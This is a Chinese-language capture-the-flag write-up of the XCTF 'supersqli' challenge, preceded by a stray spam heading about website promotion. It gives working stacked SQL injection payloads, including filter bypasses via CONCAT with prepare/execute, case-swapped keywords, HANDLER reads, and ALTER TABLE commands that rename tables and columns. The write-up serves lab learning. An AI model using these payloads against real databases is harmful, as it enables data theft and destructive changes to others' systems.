網(wǎng)站維護(hù)需要多少錢全網(wǎng)引流推廣
XCTF_Web_高手進(jìn)階區(qū)
- supersqli
supersqli
這里使用谷歌瀏覽器
拿到題目后,發(fā)現(xiàn)是單引號報錯字符型注入
用order by語句判斷出兩個字段:order by 2的時候頁面正?;仫@,order by 3的時候頁面出錯。
使用union select聯(lián)合查詢,發(fā)現(xiàn)關(guān)鍵字select被正則過濾了
因此,需要繞過select的過濾
解法一:
(1)堆疊注入/?inject=-1’;show tables --+
(2)發(fā)現(xiàn)了兩張表,分別查詢兩張表中的字段,
/?inject=-1’;show columns from 1919810931114514
--+
/?inject=-1’;show columns from words
--+
(3)發(fā)現(xiàn)了flag在第一個表中,接下來就是要查看flag的內(nèi)容了。但是select被過濾了,這里可以采用預(yù)編譯的方式繞過。
?inject=-1';set @sql = CONCAT('sele','ct * from \`1919810931114514\`;');prepare aaa from @sql;EXECUTE aaa;#
(4)這里用strstr函數(shù)過濾了’set’和’prepare’關(guān)鍵詞,利用strstr不能區(qū)分大小寫,將其改為大寫即可
/?inject=-1';sEt @sql = CONCAT('sele','ct * from \`1919810931114514\`;');prepArE aaa from @sql;EXECUTE aaa;#
或者
/?inject=-1';sEt @sql = CONCAT('se','lect * from \`1919810931114514\`;');prEpare stmt from @sql;EXECUTE stmt;#
或者
/?inject=-1';use supersqli;set @sql=concat('s','elect * from \`1919810931114514\`');PREPARE pre FROM @sql;EXECUTE pre;--+
解法二:
handler查詢
在查找到有兩張表的前提下進(jìn)行
(1)使用方法:
handler table_name open打開一張表
handel table_name read first讀取第一行內(nèi)容,
handel table_name read next依次獲取其它行
/?inject=-1';handler `1919810931114514` open;handler `1919810931114514` read first;#
解法三:
(1)修改表名和列名,在查找到兩個表后,看一下第二個表
(2)其中有一個列就是data列,是可以進(jìn)行查詢的。所以這里將表1919810931114514名字改為words,flag列名字改為id,就可以查詢flag的內(nèi)容了。
1'; alter table words rename to aaaa;alter table `1919810931114514` rename to words;alter table words change flag id varchar(100);#
其中:
alter table words rename to aaaa;先把原來的words表名字改成別的,這個隨便
alter table`1919810931114514` rename to words;將表1919810931114514的名字改為words
alter table words change flag id varchar(100);將改完名字后的表中的flag改為id,字符串盡量長點(diǎn)
(3)然后用1’ or 1=1 --+直接就能得到正確結(jié)果